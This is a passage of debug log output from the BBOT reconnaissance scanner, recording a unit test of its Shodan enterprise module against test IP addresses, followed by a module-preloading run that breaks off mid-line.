[DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 21:48:21,602 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/1.2.3.4?key=deadbeef HTTP/1.1" 404 None +2026-02-27 21:48:21,603 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. +2026-02-27 21:48:21,605 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 21:48:21,606 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:48:21,606 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 21:48:21,607 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:48:21,607 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 21:48:21,607 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:48:21,608 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 21:48:21,608 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:48:21,608 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,609 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) in-scope because its main host matches the scan target +2026-02-27 21:48:21,609 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:48:21,610 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,610 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,611 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 21:48:21,611 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:48:21,612 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 21:48:21,612 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,613 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 21:48:21,613 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:48:21,614 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:48:21,614 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,614 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,615 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 21:48:21,615 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:48:21,616 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:48:21,616 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 21:48:21,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:48:21,621 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 21:48:21,621 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:48:21,622 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) because precheck succeeded +2026-02-27 21:48:21,622 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,622 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,624 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,624 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,625 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 21:48:21,625 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,626 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 21:48:21,626 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 21:48:21,626 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:48:21,627 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,627 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 21:48:21,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:48:21,628 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,628 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,629 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,629 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target +2026-02-27 21:48:21,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:48:21,630 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 21:48:21,631 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,631 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:48:21,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 21:48:21,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:48:21,633 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,633 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 21:48:21,634 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,634 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,635 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:48:21,635 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:48:21,636 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 21:48:21,636 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 21:48:21,636 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:48:21,637 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:48:21,637 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded +2026-02-27 21:48:21,709 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) from shodan_enterprise +2026-02-27 21:48:21,709 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 21:48:21,709 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 21:48:21,709 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 21:48:21,711 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:48:21,711 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise +2026-02-27 21:48:21,711 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 21:48:21,711 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 21:48:21,712 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 21:48:21,712 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 21:48:21,712 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 21:48:21,713 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 21:48:21,713 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 21:48:21,714 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 21:48:21,714 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 21:48:21,814 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 21:48:21,814 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 21:48:21,831 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 21:48:21,832 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 21:48:21,832 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 21:48:21,839 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 21:48:21,840 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 21:48:21,841 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 21:48:21,841 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 21:48:21,842 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 21:48:21,843 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 21:48:21,986 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_2j3y4i2tg8 completed in 0 seconds with status FINISHED +2026-02-27 21:48:21,986 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 21:48:21,987 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:48:21,989 [CRITICAL] bbot test_module_shodan_enterprise.py:23 SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:04:22,071 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:04:22,086 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:04:22,090 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:04:22,091 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:04:22,092 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:04:22,094 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:04:22,095 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:04:22,096 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:04:22,097 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:04:22,099 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:04:22,100 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:04:22,101 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:04:22,103 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:04:22,104 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:04:22,106 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:04:22,107 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:04:22,108 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:04:22,109 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:04:22,110 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:04:22,111 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:04:22,112 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:04:22,114 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:04:22,115 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:04:22,117 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:04:22,118 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:04:22,120 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:04:22,122 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:04:22,123 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:04:22,124 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:04:22,126 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:04:22,128 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:04:22,130 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:04:22,130 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:04:22,132 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:04:22,132 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:04:22,133 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:04:22,134 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:04:22,135 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:04:22,137 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:04:22,143 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:04:22,145 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 22:04:22,146 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:04:22,147 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:04:22,149 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:04:22,150 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 22:04:22,151 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:04:22,153 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:04:22,154 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:04:22,156 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:04:22,157 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:04:22,159 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:04:22,160 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:04:22,161 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:04:22,163 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:04:22,164 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:04:22,165 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:04:22,166 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:04:22,167 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:04:22,169 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:04:22,170 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:04:22,171 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:04:22,174 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:04:22,175 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:04:22,176 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:04:22,177 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:04:22,186 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:04:22,188 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:04:22,189 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:04:22,191 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:04:22,192 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:04:22,194 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:04:22,195 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:04:22,197 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:04:22,198 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:04:22,199 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:04:22,201 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:04:22,202 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:04:22,204 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:04:22,205 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:04:22,206 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:04:22,207 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:04:22,208 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:04:22,208 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:04:22,209 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:04:22,211 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 22:04:22,212 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:04:22,213 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:04:22,215 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:04:22,216 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:04:22,218 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:04:22,219 